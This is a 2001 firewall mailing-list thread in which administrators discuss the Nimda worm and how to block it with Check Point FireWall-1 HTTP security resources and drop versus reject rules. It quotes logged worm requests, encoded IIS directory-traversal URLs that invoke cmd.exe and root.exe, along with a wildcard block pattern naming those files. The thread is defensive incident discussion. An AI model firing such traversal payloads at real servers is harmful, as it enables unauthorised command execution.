Re: [FW1] New worm on the road?

[Yves Belle-Isle]

Title: RE: [FW1] New worm on the road?

The problem is than with a HTTP Security server ressource to block NimDa even if you specify DROP in the rule Securities Servers never DROP connection they ALWAYS REJECT them. For NimDA if you drop attack from a source it will hit you about 1 probe/minute if you reject attack from a source it will attack you 10 to 20 times/sec because it seems it doesn't care about drop/reject when the attack gets a reject or timeout (out) it send the next one.   The interesting thing is than i had a ressource to DROP (Read REJECT in the log...) CodeRED II attack, i used a filter of *{NNNNN;XXXXX}* because other filters i tried like default.ida caused unrelated traffic to be rejected to. This ressource did not reject Nimda virus but because the Nimda connections where examined by the security server in the following rule, not using security ressources, where i dropped connection for HTTP service except those to our HTTP server (Not running any form of MS HTTP server because there are all real piece of shit!) those where Rejected and no Dropped because of a side effect of the HTTP Ressource to katch CodeRed. I had to disable that Code Red ressource   As long as Nimda attack are dropped i get's less than 1KB/Sec traffic from it when i reject them i get at least steady 50KB/Sec traffic from it.   I will open a trouble ticket with Checkpoint Support on the fact than if a connection is inspected by a Secury Server it can't be DROPPED just REJECTED even if the DROP is in rule without ressource after the rule with the ressource.   Yves Belle-Isle ----- Original Message ----- From: METE EMINAGAOGLU (IT) To: '[EMAIL PROTECTED]' Cc: '[EMAIL PROTECTED]' Sent: Thursday, September 20, 2001 13:23 Subject: RE: [FW1] New worm on the road? Yes, I think everyone related with networking & security should have been aware till now somehow. (Since, W32/Nimda is so massive, aggressive, and posing many multi-functional different threats... Thanks to all the security vulnerabilities of Microsoft products!!!) Yes, you can create an http-security URI object. (Similar to the one used for CodeRed warm...) However, I should warn you that some people continously argue that this solution slows down http service in the FW, or crashes the FW completely... ?? (Although I have never faced such problems...) I'm still using different http and smtp-security server based rules in my FW. Even the one I' ve denoted below, no performance bottleneck so far... The solution: (A generic one for W32/Nimda, CodeRed, Sadmind/IIS) 1. Create A new URI Resource (say, Block_http), Tick both Connection Methods: "Transparent" & "Proxy" In the URI Match Spec. Type, choose "Wild Cards" Schemes: HTTP Method: GET, (you can also tick the other methods, if u'd like...) Host: * Path: {*default.ida?*,*cmd.exe?*,*root.exe?*,*dmin.dll,*/x,*readme.exe*} Query:* 2. Create a new rule on top of all the other http-based rules as; src: any dst: any svc: http --> Block_http act: DROP 3. Install the policy. BEST LUCK... PS: What' s more, you can also filter incoming or outgoing (or both) mails infected with this virus, by stripping MIME attachments with readme.exe or *.exe types. using FW' s smtp security server... -----Original Message----- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED]] Sent: Wednesday, September 19, 2001 6:32 AM To: Patrick Coomans Cc: [EMAIL PROTECTED] Subject: Re: [FW1] New worm on the road? It's all over the news. The W32/Nimda  worm (admin backwards). Feel free to read all about it. It's caused massive headaches all day today. http://www.cert.org/advisories/CA-2001-26.html "Patrick Coomans" <[EMAIL PROTECTED]> on 09/18/2001 05:35:36 PM To:   [EMAIL PROTECTED] cc:    (bcc: Harley S. Sanders/BAIS/BAReston) Subject:  [FW1] New worm on the road? Since this evening I am experiencing massive attacks on HTTP (IIS oriented I presume) from many different IP addresses. They all look like: GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/root.exe?/c+dir HTTP/1.0 GET /MSADC/root.exe?/c+dir HTTP/1.0 GET /MSADC/root.exe?/c+dir HTTP/1.0 GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0 Is anyone aware that this is some new kind of worm? Now my FW1 question: can I create a HTTP resource (secure server) that blocks all requests that e.g. have a .EXE in it ?  Or would that slow my FW1's down to much? Any other suggestions for good products that can do HTTP content inspection and that cooperate or can co-exist with fw1 ? Thanks, Patrick